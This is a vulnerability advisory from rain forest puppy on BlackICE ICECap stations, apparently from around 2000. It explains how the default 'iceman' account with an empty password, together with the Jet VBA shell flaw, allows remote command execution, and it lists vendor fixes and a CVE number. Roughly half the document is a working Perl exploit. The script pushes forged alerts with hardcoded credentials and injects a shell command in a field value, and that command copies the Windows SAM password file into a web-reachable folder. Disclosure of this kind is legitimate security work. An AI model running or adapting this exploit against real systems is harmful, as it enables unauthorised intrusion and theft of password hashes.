RFP2K04: Mining BlackICE with RFPickAxe

[rfp () WIRETRIP NET (rain forest puppy)]

---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------

                     Mining BlackICE with RFPickAxe
          Remote command execution on BlackICE ICECap stations

------------------------------------/ rain forest puppy / rfp () wiretrip net

Table of contents:

-/ 1 / For the Black Hats
-/ 2 / For the White Hats
-/ 3 / Forward thinking
-/ 4 / You know you love perl.  Admit it.

--/ 1 / For the Black Hats /----------------------------------------------

BlackICE IDS uses a management console called ICECap to collect and
monitor alerts sent by the various installed BlackICE agents.  The ICECap
user console sits on port 8081 (included HTTP server), and alerts are
pushed to another server listening on port 8082.

The first problem is that the software uses a default login of 'iceman',
with no password.  This means we can log onto the console on port 8081, or
push it alerts on port 8082.  What could be more fun than a few false
alerts?

The second problem is that the software uses, by default, the Microsoft
Jet 3.5 engine to store alerts.  If you couple that with the shell VBA
problem (CVE: CAN-2000-0325), that means you can push alerts that contain
commands to be executed on the ICECap system.

--/ 2 / For the White Hats /----------------------------------------------

NetworkICE has released ICEcap v2.0.23a, as well as some supporting KB
articles detailing the problem.

ICEcap 2.0.23a
http://advice.networkice.com/advice/Support/KB/q000167/

Jet bug
http://advice.networkice.com/advice/Support/KB/q000164/

Easy injection bug
http://advice.networkice.com/advice/Support/KB/q000166/

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2000-0350 to this issue. This is a candidate for inclusion in the
CVE list (http://cve.mitre.org), which standardizes names for security
problems.

--/ 3 / Forward thinking /------------------------------------------------

I discussed this point at CanSecWest.  BlackICE is not the only (security)
application that stores data in a Microsoft .mdb file.  So what does use
.mdb's?  Well, NT 4.0 WINS, DHCP, CyberCop, NFR-GUI (Windows client), etc.

I leave as an exercise to the reader to look into it.  I'd appreciate
anyone doing research into these matters to drop me a note on their
final findings.

--/ 4 / You know you love perl.  Admit it. /-----------------------------

#!/usr/bin/perl
#
# RFPickaxe.pl - demo exploit for default ICECap login/alerts
# Disclaimer: I do not provide technical support for my exploits!
#
# Sorry, this requires Unix, due to the `date` call

$|=1;
use Socket;

###############################################################

# IP of ICECap system (assumes port 8082)

$Target="10.10.200.4";

# account info - uses default 'iceman' w/ no password

$account="iceman";
$httpauth="aWNlbWFuOiUzQjclQzYlRkU=";

#-------- attributes of the alert ----------

$id="100005";
$issue_name="Exploit";
$sev="1";

# spoof these

$target="0.0.0.8";
$target_dns="some.host.com";
$det_ip="0.0.0.8";
$det_nbn="SENSOR";
$int_ip="255.255.255.255";
$param="Pickaxe";

# either fake the MAC, or use it to run commands via JET vulnerability

#$det_mac="0000000000000";
$det_mac="|shell(\"cmd /c copy c:\\winnt\\repair\\sam._ ".
        "c:\\progra~1\\networ~1\\icecap\\spatch\\en\\sam.exe \")|";

##############################################################

$inet=inet_aton($Target);

$time=`date -u "+%Y-%m-%d %T"`;
$time=~s/ /%20/g;
$time=~s/:/%3a/g;

#path is \program files\network ice\icecap\spatch\en

$alert="accountName=$account&issueID=$id&issueName=$issue_name".
        "&severity=$sev&targetNetAddress=$target&targetDNSName=".
        "$target_dns&detectorNetAddress=$det_ip&detectorNetBIOS".
        "Name=$det_nbn&detectorMacAddress=$det_mac&".
        "intruderNetAddress=$int_ip&detectorType=3&startTime=".
        "$time&parameter=$param\r\n";

$len=length($alert);

@DXX=();
$send=<<EOT
POST / HTTP/1.0
User-Agent: netice-alerter/1.0
Host: $Target:8082
Authorization: Basic $httpauth
Content-Type: application/x-www-form-urlencoded
Content-Length: $len

EOT
;

$send=~s/\n/\r\n/g;
$send=$send.$alert;

sendraw("$send");

print @DXX;

exit;

sub sendraw {   # raw network functions stay in here
        my ($pstr)=@_;
        $PROTO=getprotobyname('tcp')||0;

        # AF_INET=2 SOCK_STREAM=1
        eval {
        alarm(30);
        if(!(socket(S,2,1,$PROTO))){ die("socket");}
        if(connect(S,pack "SnA4x8",2,8082,$inet)){
                # multi-column perl coding...don't do as I do ;)
                select(S);      $|=1;
                print $pstr;    
                @DXX=<S>;
                select(STDOUT); close(S);
                alarm(0);       return;
        } else { die("not responding"); }
        alarm(0);};
         if ($@) { if ($@ =~ /timeout/){ die("Timed out!\n");}}}        

----/ acks /--------------------------------------------------------------

      NetworkICE + eEye, Attrition, w00w00, ADM, Technotronic, USSR

------------------------------------/ rain forest puppy / rfp () wiretrip net

       If anyone wants to donate a skin to my website, contact me.

---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------